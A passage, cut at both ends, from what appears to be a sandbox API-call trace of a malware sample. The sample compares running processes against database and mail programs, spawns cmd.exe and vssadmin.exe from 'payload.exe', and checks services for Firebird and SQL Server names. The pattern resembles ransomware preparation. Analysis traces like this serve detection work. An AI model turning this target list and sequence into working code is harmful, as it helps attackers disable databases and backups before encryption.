(lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0088.350] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0088.350] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0088.350] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0088.350] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0088.350] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0088.350] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0088.350] lstrlenW (lpString="csrss.exe") returned 9 [0088.350] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0088.350] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0088.350] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0088.350] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0088.350] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0088.350] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0088.350] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0088.350] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0088.351] lstrlenW (lpString="wininit.exe") returned 11 [0088.351] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0088.351] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0088.351] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0088.351] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0088.351] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0088.351] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0088.351] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0088.351] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0088.351] lstrlenW (lpString="csrss.exe") returned 9 [0088.351] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0088.351] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0088.351] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0088.351] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0088.351] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0088.351] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0088.351] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0088.351] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0088.351] lstrlenW (lpString="winlogon.exe") returned 12 [0088.351] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0088.351] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0088.351] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0088.351] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0088.352] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0088.352] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0088.352] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0088.352] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0088.352] lstrlenW (lpString="services.exe") returned 12 [0088.352] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0088.352] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0088.352] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0088.352] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0088.352] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0088.352] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0088.352] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0088.352] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0088.352] lstrlenW (lpString="lsass.exe") returned 9 [0088.352] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0088.352] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0088.352] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0088.352] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0088.352] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0088.352] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0088.352] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0088.352] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0088.353] lstrlenW (lpString="lsm.exe") returned 7 [0088.353] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0088.353] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0088.353] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0088.353] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0088.353] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0088.353] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0088.353] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0088.353] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.353] lstrlenW (lpString="svchost.exe") returned 11 [0088.353] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0088.353] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0088.353] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0088.353] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0088.353] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0088.353] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0088.353] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0088.353] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.354] lstrlenW (lpString="svchost.exe") returned 11 [0088.354] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0088.354] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0088.354] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0088.354] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0088.354] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0088.354] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0088.354] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0088.354] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.354] lstrlenW (lpString="svchost.exe") returned 11 [0088.354] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0088.354] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0088.354] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0088.354] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0088.354] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0088.354] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0088.354] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0088.354] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.354] lstrlenW (lpString="svchost.exe") returned 11 [0088.354] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0088.354] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0088.354] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0088.354] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0088.355] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0088.355] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0088.355] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0088.355] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.355] lstrlenW (lpString="svchost.exe") returned 11 [0088.355] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0088.355] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0088.355] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0088.355] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0088.355] lstrlenW (lpString="audiodg.exe") returned 11 [0088.355] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.355] lstrlenW (lpString="svchost.exe") returned 11 [0088.356] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.356] lstrlenW (lpString="svchost.exe") returned 11 [0088.356] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0088.356] lstrlenW (lpString="userinit.exe") returned 12 [0088.356] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0088.356] lstrlenW (lpString="dwm.exe") returned 7 [0088.356] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0088.357] lstrlenW (lpString="explorer.exe") returned 12 [0088.357] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0088.357] lstrlenW (lpString="spoolsv.exe") returned 11 [0088.357] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0088.357] lstrlenW (lpString="taskhost.exe") returned 12 [0088.357] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.357] lstrlenW (lpString="svchost.exe") returned 11 [0088.357] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0088.357] lstrlenW (lpString="payload.exe") returned 11 [0088.358] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0088.358] lstrlenW (lpString="reader_sl.exe") returned 13 [0088.358] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0088.358] lstrlenW (lpString="cmd.exe") returned 7 [0088.358] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0088.358] lstrlenW (lpString="dllhost.exe") returned 11 [0088.358] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.359] lstrlenW (lpString="conhost.exe") returned 11 [0088.359] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0088.359] lstrlenW (lpString="vssadmin.exe") returned 12 [0088.359] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0088.359] CloseHandle (hObject=0x230) returned 1 [0088.359] Sleep (dwMilliseconds=0x1f4) [0088.920] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4037c60 [0089.012] EnumServicesStatusExW (in: hSCManager=0x4037c60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0089.012] GetLastError () returned 0xea [0089.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc9a) returned 0x4126028 [0089.012] EnumServicesStatusExW (in: hSCManager=0x4037c60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4126028, cbBufSize=0xc9a, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4126028, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0089.012] CloseServiceHandle (hSCObject=0x4037c60) returned 1 [0089.012] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0089.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0089.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0089.013] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0089.013] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0089.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0089.013] lstrlenW (lpString="AudioSrv") returned 8 [0089.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0089.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0089.013] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0089.013] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0089.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0089.013] lstrlenW (lpString="BFE") returned 3 [0089.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0089.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0089.013] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0089.013] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0089.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0089.013] lstrlenW (lpString="CryptSvc") returned 8 [0089.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0089.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0089.013] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0089.013] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0089.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0089.013] lstrlenW (lpString="CscService") returned 10 [0089.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0089.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0089.013] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0089.013] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0089.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0089.013] lstrlenW (lpString="DcomLaunch") returned 10 [0089.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0089.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0089.013] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0089.013] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0089.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0089.014] lstrlenW (lpString="Dhcp") returned 4 [0089.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0089.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0089.014] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0089.014] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0089.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0089.014] lstrlenW (lpString="Dnscache") returned 8 [0089.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0089.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0089.014] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0089.014] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0089.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0089.014] lstrlenW (lpString="DPS") returned 3 [0089.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0089.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0089.014] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0089.014] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0089.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0089.014] lstrlenW (lpString="eventlog") returned 8 [0089.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0089.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0089.014] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0089.014] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0089.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0089.014] lstrlenW (lpString="EventSystem") returned 11 [0089.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0089.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0089.014] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0089.014] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0089.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0089.014] lstrlenW (lpString="gpsvc") returned 5 [0089.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0089.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0089.014] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0089.014] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0089.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0089.014] lstrlenW (lpString="LanmanWorkstation") returned 17 [0089.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0089.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0089.014] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0089.014] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0089.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0089.014] lstrlenW (lpString="lmhosts") returned 7 [0089.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0089.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0089.015] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0089.015] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0089.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0089.015] lstrlenW (lpString="MMCSS") returned 5 [0089.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0089.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0089.015] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0089.015] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0089.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0089.015] lstrlenW (lpString="MpsSvc") returned 6 [0089.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0089.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0089.015] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0089.015] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0089.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0089.015] lstrlenW (lpString="NlaSvc") returned 6 [0089.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0089.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0089.015] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0089.015] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0089.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0089.015] lstrlenW (lpString="nsi") returned 3 [0089.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0089.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0089.015] lstrcmpiW 